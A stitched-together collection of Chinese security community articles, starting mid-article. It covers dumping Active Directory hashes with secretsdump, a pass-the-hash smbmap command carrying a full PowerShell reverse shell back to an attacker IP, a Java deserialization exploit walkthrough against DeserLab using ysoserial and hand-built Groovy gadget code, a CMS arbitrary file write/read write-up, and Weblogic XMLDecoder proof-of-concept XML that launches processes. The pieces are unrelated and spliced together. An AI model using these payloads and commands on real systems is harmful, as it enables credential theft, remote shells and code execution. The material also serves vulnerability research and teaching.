python secretsdump.py EVILCORP.LOCAL/mr\[email protected] -just-dc
就导出了域内所有用户哈希
在截图中由于 Kali 的 Openssl 版本太新有 bug，没办法连接上 Exchange 服务器使用自签名证书的HTTPS服务，在本机的 MacOS
上测试的
我再一次得到一个教训
**平时没事别瞎更新整个系统,要更新也只更新需要的部分**
### 利用用户哈希反弹 shell
哈希都拿到了，尝试反弹shell，使用 Windows 帐户哈希反弹 shell 的工具很多，我使用 `smbmap`
> `smbmap` 已内置在`Kali Linux`中
nc 监听端口
nc -lvnp 1337
反弹 shell
smbmap -d evilcorp.local -u Administrator -p 'aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889' -H 10.10.10.2 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""10.10.10.5""""; $port=""""1337"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
代码中的 `10.10.10.5` 修改为攻击者IP，`1337` 修改为`NC`监听端口
* * * | 社区文章 |
当你在尝试学习东西的时候，一个很好的的定期提示是，阅读与实际练习中你阅读的主题不一样的主题。这就是我们为什么去实践读过的项目是有益的。我们将要深入到现在已经存在的众所周知的java反序列化bugs中。最好的实践是你可以去真正的了解手头的项目，并可以根据自己的需要尝试改进。这篇博客我们将要涉及以下内容：
1. 利用反序列化漏洞
2. 手动构造我们的payload
要清楚的是，第一步将是使用当前的工具实践序列化漏洞的利用，并解释所采用的方法。第二步放大payload；payload究竟是什么？我们如何手工创建？最终的目的是充分了解它是如何工作的，以及掌握将来理解类似bug的方法。
我会提到整个博客中使用的所有工具，但是至少你需要了解如下内容：
<https://github.com/NickstaDB/DeserLab>
这就是我们将要利用的bug，选择一个模拟bug的原因是我们可以控制它的所有面，从而更好的理解一个反序列化漏洞的工作原理。
### 利用Deserlab
首先，确保你阅读了介绍DeserLab和Java反序列化的[blog](https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/)
这篇blog对Java反序列化协议本身的深入分析。通过继续阅读本节，你将掌握DeserLab的用法。本节其余的部分，我们将使用编译的jar文件，请确认从github下载了这些文件。现在开始吧：
通常我处理大多数问题的方法是先了解如何以正确的方式运行，我们需要对DeserLab做如下操作：
运行服务器和客户端
捕获流量
分析流量
使用如下命令运行客户端和服务器：
java -jar DeserLab.jar -server 127.0.0.1 6666
java -jar DeserLab.jar -client 127.0.0.1 6666
命令的input/output如下所示：
java -jar DeserLab.jar -server 127.0.0.1 6666
[+] DeserServer started, listening on 127.0.0.1:6666
[+] Connection accepted from 127.0.0.1:50410
[+] Sending hello...
[+] Hello sent, waiting for hello from client...
[+] Hello received from client...
[+] Sending protocol version...
[+] Version sent, waiting for version from client...
[+] Client version is compatible, reading client name...
[+] Client name received: testing
[+] Hash request received, hashing: test
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
[+] Done, terminating connection.
java -jar DeserLab.jar -client 127.0.0.1 6666
[+] DeserClient started, connecting to 127.0.0.1:6666
[+] Connected, reading server hello packet...
[+] Hello received, sending hello to server...
[+] Hello sent, reading server protocol version...
[+] Sending supported protocol version to the server...
[+] Enter a client name to send to the server:
testing
[+] Enter a string to hash:
test
[+] Generating hash of "test"...
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
以上不是我们真正关心的问题，真正的问题是，怎么实现反序列化部分。要解答这个问题，你可以用wireshark, tcpdump
,tshark捕获6666端口的流量.要使用tcpdump捕获流量，可以执行如下命令：
tcpdump -i lo -n -w deserlab.pcap 'port 6666'
阅读下面的内容前，用wireshark打开pcap文件。根据Nick的[blog](https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/)，你至少可以识别来回传递的序列化Java对象:
##### 序列化数据的提取：
现在我们指出了序列化数据正在传输的事实，让我们开始了解实际传输的内容。我决定使用这两款实用的工具
[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)和[jdeserialize](https://github.com/frohoff/jdeserialize/tree/master/jdeserialize)，而不是根据blog中提供的信息编写自己的解析器。在我们使用工具之前，我们需要准备数据，所以把pcap包转换成我们可以分析的数据。
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr '\n' ':' | sed s/://g
现在一行缩短了很多，现在它可以工作了。我们把他分解成可理解的块，它所做的就是把pcap数据转换成一行十六进制编码的输出字符串。它做的第一件事是将pcap转换成只包含传输数据和Tcp源端口，目的端口的文本形式：
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=,
看起来像这样：
50432,,6666
6666,,50432
50432,,6666
50432,aced0005,6666
6666,,50432
6666,aced0005,50432
在像上面的代码片段中可以看到，在TCP三次握手之间没有数据，因此有,,这部分。之后客户端发送服务端确认的第一个字节，然后服务端返回一些字节等等。命令的第二部分将它转换为字符串，只需根据行开始处的端口选择有效payloads。
| grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr '\n' ':' | sed s/://g
以上的命令仅会选择服务器的回复，如果希望客户端数据需要更改端口好。最终转换结果显示如下所示：
```bash
aced00057704f000baaa77020101737200146e622e64657365722e486[...]
这是我们可以使用的，因为它是发送和接受的数据的干净的表示。让我们使用这两个工具分析一下数据，首先我们使用SerializationDumper，然后我们将使用jdeserialize。为什么是用两个工具？因为（如果可能的话）用不同的工具来分析潜在的错误或问题是很好的做法。如果你坚持使用一个工具，可能会出错，而没有察觉。尝试不同的
工具也非常有趣。
##### 序列化数据分析
使用SerializationDumper是非常简单的，因为你可以传递序列化数据的十六进制形式作为第一个参数，如下所示：
java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101
输出的内容如下：
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0xf000baaa
TC_BLOCKDATA - 0x77
Length - 2 - 0x02
Contents - 0x0101
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 20 - 0x00 14
Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374
如果我们要使用jdeserialize分析相同的序列化数据，首先要构建jdeserialize，可以使用提供的build.xml文件里的[ant](http://ant.apache.org/)。我选择了手动编译，可以通过以下命令实现：
mkdir build
javac -d ./build/ src/*
cd build
jar cvf jdeserialize.jar *
经过以上操作我们可以产生一个可以使用的jar文件，你可以用下面的命令测试它，它会显示帮助信息：
java -cp jdeserialize.jar org.unsynchronized.jdeserialize
由于jdeserialize需要一个文件，我们可以用如下的Python代码转换序列化数据的十六进制表示形式（注意缩短十六进制字符串以进行博客布局）：
open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))
我们现在可以通过运行jdeserialize来分析这个文件，文件名作为应该产生的第一个参数：
java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin
read: [blockdata 0x00: 4 bytes]
read: [blockdata 0x00: 2 bytes]
read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// END stream content output
//// BEGIN class declarations (excluding array classes)
class nb.deser.HashRequest implements java.io.Serializable {
java.lang.String dataToHash;
java.lang.String theHash;
}
//// END class declarations
//// BEGIN instance dump
[instance 0x7e0002: 0x7e0000/nb.deser.HashRequest
field data:
0x7e0000/nb.deser.HashRequest:
dataToHash: r0x7e0003: [String 0x7e0003: "test"]
theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"]
]
//// END instance dump
我们从序列化数据分析工具的输出中学到的第一件事是它的序列化数据:)。我们学到的第二件事就是，事实上在客户端和服务器之间显式地传送一个对象“nb.deser.HashRequest”。如果我们将此分析与我们之前的wireshark查看的数据结合在一起，我们可以知道用户名是以TC_BLOCKDATA类型的字符串形式发送的：
TC_BLOCKDATA - 0x77
Length - 9 - 0x09
Contents - 0x000774657374696e67
'000774657374696e67'.decode('hex')
'\x00\x07testing'
这让我们非常了解DeserLab客户端和DeserLab服务器如何相互通信。现在我们来看看如何使用ysoserial来利用。
##### Deserlab的利用
由于我们通过对pcap和序列化数据的分析，我们对这个通信有一个清晰的了解，我们可以用嵌入ysoserial
paylaod的一些硬编码数据构建我们自己的python脚本。为了保持简单，并且和wireshark流匹配，我决定几乎完全像wireshark流一样实现它，看起来就像：
mydeser = deser(myargs.targetip, myargs.targetport)
mydeser.connect()
mydeser.javaserial()
mydeser.protohello()
mydeser.protoversion()
mydeser.clientname()
mydeser.exploit(myargs.payloadfile)
你可以在[这里](https://gist.github.com/DiabloHorn/8630948d953386d2ed575e17f8635ee7)找到完整的脚本。就像你可以看到的简单的模式方法是硬编码所有java反序列化数据。你可能想知道为什么mydeser.exploit(myargs.payloadfile)函数出现在mydeser.clientname()之后。也许更重要的是我如何决定的它的位置。我们来看看我的思考过程，以及如何实际生成和发送ysoserial
payload。
在阅读的几篇关于java反序列化的文章（blog结尾处的引用）中，我了解到：大多数漏洞与java反序列化对象有关。
所以据我所知，当我们审查信息交换的时候就有java对象交换。这很容易在序列化分析的过程中发现，因为它包含‘ TC_OBJECT – 0x73’或者
//// BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
[blockdata 0x00: 9 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// END stream content output
我们可以清楚的看到流的最后一部分是 ‘nb.deser.HashRequest’
对象。读取这个对象的地方也是交换的最后一部分，因此解释了为什么代码最后一部分可以exploit。
DeserLab本身的代码并没有真正包含任何有用的东西，我们可以通过修改序列化漏洞利用它。
这个问题在下一节“手动创建payload”会很明显，现在我们就接受就好了。所以这意味着我们必须寻找可能包含可以帮助我们的代码的其他库。DeserLab中只有一个Groovy库，这就提示我们要用ysoserial
payload；在实际使用中，可能需要自己反编译未知的库，自己开发有用的小工具。
由于知道了利用使用的库，payload的生成就非常简单：
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
要知道payload如何工作，需要一些方法来检测它。现在ping 到 localhost就足够了，但是在现实世界中你需要更有创意。
现在一切准备就绪，你会认为它只是一个关闭有效载荷的问题？你是对的，但是我们不要忘了，java序列化头交换已经发生。
这意味着我们要把paylaod的前四个字节单独发出去：
./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin
2017-09-07 22:58:05,401 - INFO - Connecting
2017-09-07 22:58:05,401 - INFO - java serialization handshake
2017-09-07 22:58:05,403 - INFO - protocol specific handshake
2017-09-07 22:58:05,492 - INFO - protocol specific version handshake
2017-09-07 22:58:05,571 - INFO - sending name of connected client
2017-09-07 22:58:05,571 - INFO - exploiting
如果一切顺利，你将看到以下内容：
sudo tcpdump -i lo icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64
22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64
22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64
我们已经成功地利用了DeserLab。接下来两个部分，我们希望能更好地了解我们发送到DeserLab的payload。
### 手动创建payload
了解我们的payload的最好的方法是自己重建完全相同的payload，是的，这意味着写java代码。但问题是我们从哪里开始？我们可以像我们在看pcap时一样看看序列化payload。下面的代码将payload转换为十六进制字符串，我们可以使用SerializationDumper或者jdeserialize分析文件。
open('payload.bin','rb').read().encode('hex
所以让我们来详细了解一下，在具体情况下，如何运作。当然，在找出这一切后，你发现了一个已经描述它的页面，所以你可以跳过这个部分，阅读[这个](https://www.sourceclear.com/registry/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical)。本节的其余部分将着重于我的方法。我的方法的重要支柱之一也在阅读这个漏洞的ysoserial实现的根源。我不会不断提到，但如果你想知道我是如何计算出流量的，那是由于读取ysoserial实现的。
通过这些工具放置有效载荷后，在这两种情况下，都会产生很多Java类的很长的输出。要注意的主要类名是输出“sun.reflect.annotation.AnnotationInvocationHandler”的第一个。这个类可能看起来很熟悉，因为它似乎是大量反序列化漏洞的入门点。引起我注意的其他事情是“java.lang.reflect.Proxy”，“org.codehaus.groovy.runtime.ConvertedClosure”和“org.codehaus.groovy.runtime.MethodClosure”。他们引起了我注意的原因是因为他们引用了我们用于开发的库，以及从线上文章中已知的类来解释Java反序列化漏洞并与我在ysoserial源中看到的类匹配。
有一个重要的概念，你需要注意，事实上，当你执行反序列化攻击时，你发送一个对象的“保存”状态说话。这意味着你完全依赖于接收方的行为，更具体地说，你依赖于“保存”状态反序列化时所采取的操作。这意味着如果对方不调用发送对象的任何方法，则不会执行远程代码。这意味着你唯一的影响是设置你发送的对象的属性。现在这个概念很清楚，这意味着我们发送的第一个类应该有一个自动调用的方法，如果我们要实现代码执行，这解释了为什么第一类是如此特别。如果我们看看AnnotationInvocationHandler的代码，我们可以看到构造函数接受一个java.util.map对象，并且方法readObject调用Map对象上的一个方法。像你可能从阅读其他文章可以知道，当流被反序列化时，readObject被自动调用。我们开始构建我们自己的漏洞利用，基于这些信息，并从多个其他文章（在本文末尾引用的代码中）借鉴代码，我们创建以下内容。如果你想了解代码读取反思。
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
//normally the constructor is not accessible, so we need to make it accessible
constructor.setAccessible(true);
这通常是我有时花了几个小时调试和阅读我不知道的所有事情的部分，因为如果你尝试编译这个很好，你会学到很多.所以这里是你可以编译的代码段：
//regular imports
import java.io.IOException;
//reflection imports
import java.lang.reflect.Constructor;
public class ManualPayloadGenerateBlog{
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
//normally the constructor is not accessible, so we need to make it accessible
constructor.setAccessible(true);
}
}
你可以使用以下命令来编译和运行代码，即使它不会执行任何操作：
javac ManualPayloadGenerateBlog
java ManualPayloadGenerateBlog
当你扩展此代码时，请记住以下内容：
google打印的错误代码
类名应等于文件名
知道有java 帮助
上述代码使初始入口点类可用，构造函数可访问，但是我们需要为构造函数提供哪些参数？大多数例子有以下代码：
constructor.newInstance(Override.class, map);
我理解的’map’参数，就是在初始readObject调用期间调用’entrySet’方法的对象。我不明白第一个参数的内部工作原理，主要的一点是在readObject方法内部进行检查，以确保第一个参数的类型为“AnnotationType”。我们通过提供“AnnotationType”类型的buildin’Override’类来实现这一点。
现在我们来到有趣的部分，从’好的有道理’到’这是如何工作的’。要理解，重要的是要意识到第二个参数是一个Java代理对象，而不是一个简单的Java映射对象。这是什么意思？[这篇文章](http://www.baeldung.com/java-dynamic-proxies)很好的解释了Java动态代理，并提供了很好的代码示例，这是文章的引用：
Dynamic proxies allow one single class with one single method to service multiple method calls to arbitrary classes with an arbitrary number of methods. A dynamic proxy can be thought of as a kind of Facade, but one that can pretend to be an implementation of any interface. Under the cover, it routes all method invocations to a single handler – the invoke() method.
我理解的是，它是一个 Java map 对象，然后将所有调用原始的Map对象方法路由到另一个类的单一方法。让我们看看我们现在所了解的：
这意味着我们可以尝试用这样一个Map对象来扩展我们的源代码，例如：
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, <unknown-invocationhandler>);
注意我们仍然需要适应的
invocationhandler，但我们没有。这是Groovy最终要适应的部分，因为直到现在我们仍然在常规Java类的领域。Groovy适合的原因是因为它有一个InvocationHandler。所以当InvocationHandler被调用时，最终会导致代码执行如下：
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1", "execute"), "entrySet");
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, closure);
就像你可以在上面的代码中看到的，我们现在终于有了invocationhandler，它就是ConvertedClosure对象。你可以通过反编译Groovy库来确认这一点，当你看到ConvertedClosure类时，你会看到它扩展了ConversionHandler类，如果你反编译该类你将看到：
public abstract class ConversionHandler
implements InvocationHandler, Serializable
实现InvocationHandler的事实解释了为什么我们可以在Proxy对象中使用它。然而，我不明白的一件事是，Groovy payload
是从Map代理调用到实际代码执行的。您可以使用反编译器来查看Groovy库，但是通常我发现可以使用谷歌查询补充代码阅读来了解它。一个挑战
groovy execute shell command
上面的查询可能会让你在各种各样的页面上找到答案。这实质上告诉我们，显然String对象有一个额外的方法是“execute”。我经常使用上述查询来处理我不熟悉的环境，因为执行shell命令通常是开发人员需要的，通常可以在互联网上找到答案。这有助于我完整地了解这个payload的工作原理，现在可以看出如下关系：
完整的代码在[这里](https://gist.github.com/DiabloHorn/44d91d3cbefa425b783a6849f23b8aa7)。编译，执行：
javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java
java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin
当我们使用python exploit开发它时，它应该具有与ysoserial payload完全相同的结果。令我吃惊的是，payload甚至有相同的哈希：
sha256sum payload_ping_localhost.bin payload_manual.bin
4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_ping_localhost.bin
4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_manual.bin
感谢您抽出时间阅读本文，更重要的是，我希望它可以帮助您利用Java反序列化漏洞以及更好地了解它们。
参考链接：
<https://www.sourceclear.com/registry/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical>
<https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/>
<https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html>
<http://gursevkalra.blogspot.nl/2016/01/ysoserial-commonscollections1-exploit.html>
<https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/>
<https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478>
<https://www.youtube.com/watch?v=VviY3O-euVQ>
<http://wouter.coekaerts.be/2015/annotationinvocationhandler>
<http://www.baeldung.com/java-dynamic-proxies>
<https://stackoverflow.com/questions/37068982/how-to-execute-shell-command-with-parameters-in-groovy>
<https://stackoverflow.com/questions/37628/what-is-reflection-and-why-is-it-useful> | 社区文章 |
**前话**
前段时间看过一个cms <https://xz.aliyun.com/t/10733>
后台存在很多可利用的上传和文件读取等，但是感觉有的地方没有记录仔细，另写一篇补充。
**关于后台editor模块的任意文件上传**
前篇提到后台editor模块存在create_node方法，可以实现任意位置的文件上传，但是这里有两个地方存在疑问，第一个是上传的绝对路径，毕竟前面也没有提到如何获取，实际上，在正常使用模板在线编辑功能的时候，路径就已经有了：
第二个就是我们在上传的时候，是没有写入文件内容的：
这里写入的内容是空的，需要想办法添加内容。
回头再看该cms时，发现editor模块中还存在一个save_file的方法：
这里传入了一个file_content，像是可写，跟进if条件中第二个setFileContent方法：
发现内容可写，那么现在需要满足if第一个条件，跟进checkFileKey：
发现，通过getFileKey将传入的file_path进行加密，并于传入的file_key进行比较，
这里获取self::getFileKey($file_path))的值，可以当前控制器下新写个方法，然后调用便可获取，或者再继续跟进getFileKey，这里我继续跟进getFileKey，
发现只是将参数简单拼接后加密。
新建poc.php,获取file_key:
(本机是win环境)
然后利用：
写入成功：
**新的任意文件读取**
同样在editor目录下发现dir_list方法
用前面提到的同样的方法测试：
正常不传参：
修改dir_path：
发现可以利用，但是这里显示的只是json数据，需要进行实际应用，
来到模板编辑-在线编辑：
两次抓包、放包：
在第三次请求中调用了dir_list方法：
这里便可以修改参数，实现任意文件读取：
（正常返回）
（修改参数后） | 社区文章 |
## 前言
经过了Weblogic的几个XMLDecoder相关的CVE(CVE-2017-3506、CVE-2017-10352、CVE-2019-2725)，好好看了一下XMLDecoder的分析流程。
**本文以jdk7版本的XMLDecoder进行分析,jdk6的XMLDecoder流程都写在了一个类里面（com.sun.beans.ObjectHandler）**
此处只分析XMLDecoder的解析流程，具体Weblogic的漏洞请看其它几位师傅写的Paper。
[WebLogic RCE(CVE-2019-2725)漏洞之旅-Badcode](https://paper.seebug.org/909/)
[Weblogic CVE-2019-2725 分析报告-廖新喜](https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483722&idx=1&sn=46ae6dc8d24efd3abc5d43e7caec412a&chksm=fb4a21a2cc3da8b43a52bd08c8170723fb38ddab27c836dad67c053551dde68151839e330ce2&mpshare=1&scene=1&srcid=0430zsBdpZPJ1Qp7Cy46H8S4)
不喜欢看代码的可以看官方关于XMLDecoder的文档：
[Long Term Persistence of JavaBeans Components: XML
Schema](https://www.oracle.com/technetwork/java/persistence3-139471.html)
## XMLDecoder的几个关键类
XMLDecoder的整体解析过程是基于Java自带的SAX XML解析进行的。
以下所有类都在com.sun.beans.decoder包中
### DocumentHandler
DocumentHandler继承自DefaultHandler，DefaultHandler是使用SAX进行XML解析的默认Handler，所以Weblogic在对XML对象进行validate的时候也使用了SAX，保证过程的一致性。
DefaultHandler实现了EntityResolver, DTDHandler, ContentHandler, ErrorHandler四个接口。
DocumentHandler主要改写了ContentHandler中的几个接口，毕竟主要是针对内容进行解析的，其它的保留默认就好。
### ElementHandler及相关继承类
XMLDecoder对每种支持的标签都实现了一个继承与ElementHandler的类，具体可以在DocumentHandler的构造函数中看到：
所以XMLDecoder只能使用如上标签。
其中继承关系与函数重写关系如下（很大，可以看大图或者自己用idea生成再看）：
如上的继承关系也是object标签可以用void标签替代用的原因，后面详说。
### ValueObject及其相关继承类
ValueObject是一个包装类接口，包裹了实际解析过程中产生的对象（包括null)
继承关系：
一般的对像由ValueObjectImpl进行包裹，而null\true\false（非boolean标签）则直接由自身Handler进行代表，实现相关接口。
## XMLDecoder过程中的几个关键函数
DocumentHandler的XML解析相关函数的详细内容可以参考Java
Sax的[ContentHandler的文档](https://docs.oracle.com/javase/7/docs/api/org/xml/sax/ContentHandler.html)。
ElementHandler相关函数可以参考[ElementHandler的文档](\[http://www.docjar.com/docs/api/com/sun/beans/decoder/ElementHandler.html\]\(http://www.docjar.com/docs/api/com/sun/beans/decoder/ElementHandler.html))。
DocumentHandler创建各个标签对应的ElementHandler并进行调用。
### startElement
处理开始标签，包括属性的添加
**DocumentHandler:**
。XML解析处理过程中参数包含命名空间URL、标签名、完整标签名、属性列表。根据完整标签名创建对应的ElementHandler并添加相关属性，继续调用其startElement。
**ElementHandler:** 除了array标签以外，都无操作。
### endElement
结束标签处理函数
**DocumentHandler:**
调用对应ElementHandler的endElement函数，并将当前ElementHandler回溯到上一级的ElementHandler。
**ElementHandler:**
没看有重写的，都是调用抽象类ElementHandler的endElement函数，判断是否需要向parent写入参数和是否需要注册标签对象ID。
### characters
**DocumentHandler:**
标签包裹的文本内容处理函数，比如处理`<string>java.lang.ProcessBuilder</string>`包裹的文本内容就会从这个函数走。函数中最终调用了对应ElementHandler的addCharacter函数。
### addCharacter
**ElementHandler:**
ElementHandler里的addCharacter只接受接种空白字符(空格\n\t\r)，其余的会抛异常，而StringElementHandler中则进行了重写，会记录完整的字符串值。
### addAttribute
**ElementHandler:** 添加属性，每种标签支持的相应的属性，出现其余属性会报错。
### getContextBean
**ElementHandler:**
获取操作对象，比如method标签在执行方法时，要从获取上级object/void/new标签Handler所创建的对象。该方法 **一般**
会触发上一级的getValueObject方法。
### getValueObject
**ElementHandler:** 获取当前标签所产生的对象对应的ValueObject实例。具体实现需要看每个ElementHandler类。
### isArgument
**ElementHandler:** 判断是否为上一级标签Handler的参数。
### addArgument
**ElementHandler:** 为当前级标签Handler添加参数。
## XMLDecoder相关的其它
两个成员变量，在类的实例化之前，通过对parent的调用进行增加参数。
### parent
最外层标签的ElementHandler的parent为null，而后依次为上一级标签对应的ElementHandler。
## owner
**ElementHandler:** 固定owner为所属DocumentHandler对象。
**DocumentHandler:** owner固定为所属XMLDecoder对象。
## 简易版解析流程图
PPT画的:-D
由于空间问题，省略DocumentHandler的endElement->ElementHandler的endElement调用。
## 跟着漏洞来波跟踪(Weblogic)
来一份简单的代码：
public static void main(String[] args) throws FileNotFoundException {
String filename = "1.xml";
XMLDecoder XD =new XMLDecoder(new FileInputStream(filename));
Object o = XD.readObject();
System.out.println(o);
}
### Level1:什么过滤都没有
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
首先看下DocumentHandler的startElement:
1. 创建对应Handler，设置owner与parent
2. 为Handler添加属性
3. 调用Handler的startElement
(后面DocumentHandler的部分忽略，直接从ElementHandler开始)
下面从object标签对应的ObjectElementHandler开始看：
进入obejct标签，object标签带有class属性，进入：
可以看到判断的列表里没有class标签，会调用父类(NewElementHandler)的addAttribute方法。
给type赋值为java.lang.ProcessBuilder对应的Class对象。
中间创建array参数的部分略过，有兴趣的同学可以自己跟一下。
进入void标签，设置好method参数，由于继承关系，看上面那张addAttribute图就好。
退出void标签，进入elementHandler的endElement函数：
由于继承关系，调用NewElementHandler的getValueObject函数：
继续进入进入ObjectElementHandler的带参数getValueObject函数：
此处的getContextBean会调用上一级也就是Object标签的getValueObject来获取操作对象。
略过中间步骤，再次进入ObjectElementHandler的getValueObject方法：
最终通过Expression创建了对象：
(可以看出此处的Expression的首个参数是来自于上面getContextBean获取的Class对象，先记住，后面会用)
再次回到Void标签对应的getValueObject函数：
最终通过Expression调用了start函数：
如果对继承关系感觉比较蒙的话，可以看下一节的继承关系图。
**PS:**
虽然ObjectElementHandler继承自NewElementHandler，但是其重写了getValueObject函数，两者是使用不同方法创建类的实例的。
**再PS:** 其实不加java标签也能用,但是没法包含多个对象了。
### Level2:只过滤了object标签
把上面的object标签替换为void即可。
VoidElementHandler的继承关系：
可以看到只改写了isArgument,而在整个触发过程中并无影响，所以此处使用void标签与object标签完全没有区别。
### Level3:过滤一堆
过滤了object/new/method标签，void标签只允许用index，array的class只能用byte，并限制了长度。
CNVD-2018-2725(CVE-2019-2725)最初的poc使用了UnitOfWorkChangeSet这个类，这个类的构造方法如下（从Badcode师傅的Paper里盗的图）:
最初的poc主要利用`UnitOfWorkChangeSet`类在构造函数中，会将输入的byte数组的内容进行反序列化，所以说刚开始说是反序列化漏洞。
其实这个洞是利用了存在问题的类的构造函数，因为没法用调用method了，就取了这种比较折中的方法。（其实还是有部分方法可以调用的:-D）。
在做这个实验时需要导入weblogic
10.3.6的modules目录下com.oracle.toplink_1.1.0.0_11-1-1-6-0.jar文件。
<java>
<class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
<array class="byte" length="2">
<void index="0">
<byte>-84</byte>
</void>
<void index="0">
<byte>-19</byte>
</void>
</array>
</void>
</class>
</java>
由于class标签继承了继承了string标签的`addCharacter`函数，导致其会将标签中包裹的空白字符(空格\r\n\t)也加入到classname中，导致找class失败，所以至少要将\<class>到\<void>之间的空白字符删除。
**PS：** 其实这里不加string标签也没问题。
Level1中说到：
> Expression的首个参数是来自于上面getContextBean获取的Class对象
也就是说，如果能够找到替代上面object/void+class属性的方法令getContextBean可以获取到Class对象，也久可以调用构造函数进行对象的创建。
我们来看下此处调用的getContextBean的实现：
Level1/2中由于Object(Void)设置了class属性，那么type是有值的，所以直接返回type。
而父类的getContextBean是调用parent的getValueObject函数，来获取上一级对象，所以此时我们令上一级获取到的对象为Class即可，所以此处使用了class标签令void的上一级获取的对象为Class对象。
因为void标签只允许使用index属性，所以此处无法使用method属性来调用具体函数，所以只能寄期望于构造方法，就有了上面利用UnitOfWorkChangeSet类的构造方法来利用反序列化漏洞的手法。
同样可利用的类还有之前[jackson rce](https://github.com/irsl/jackson-rce-via-spel/)用的FileSystemXmlApplicationContext类。
## 总结
XMLDecoder的流程还是蛮有意思的，具体各标签的功能、详细解析流程，还需要大家自己看一下。
顺便重要的事情说三遍：
一定要自己跟一下！
一定要自己跟一下！
一定要自己跟一下！ | 社区文章 |
